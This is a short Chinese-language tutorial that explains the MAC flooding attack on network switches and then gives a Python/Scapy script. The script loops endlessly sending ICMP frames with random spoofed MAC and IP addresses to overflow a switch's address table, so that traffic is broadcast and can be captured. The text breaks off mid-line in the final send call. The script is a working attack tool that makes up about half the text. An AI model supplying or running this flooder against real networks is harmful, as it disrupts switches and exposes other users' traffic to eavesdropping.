使用Python实现MAC泛洪攻击（MAC Flood）

1、MAC泛洪攻击的原理

交换机中有一张非常重要的表，叫做mac表，这个表是一个硬件组成的表，主要是完成快速转发。mac表有大小限制，不同的交换机的mac表的大小都有不同，越是高端的交换机的表空间越大，但是作为接入交换机，表空间基本都在8K左右。交换机的一个原理是会自动学习并记录mac地址。而攻击者就利用交换机的mac地址学习机制，不断的进行mac地址刷新，迅速填满交换机的mac地址表，以至崩溃，使交换机不得不使用广播发包，从而获取其他人的报文信息。

2、Python脚本

from scapy.all import *

#定义网卡接口
iface='eth0'

while True:
    #随机MAC
    randmac=RandMAC("*:*:*:*:*:*")
    #随机IP
    randip=RandIP("*.*.*.*")
    #构造数据包
    packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP()
    sendp(packet,iface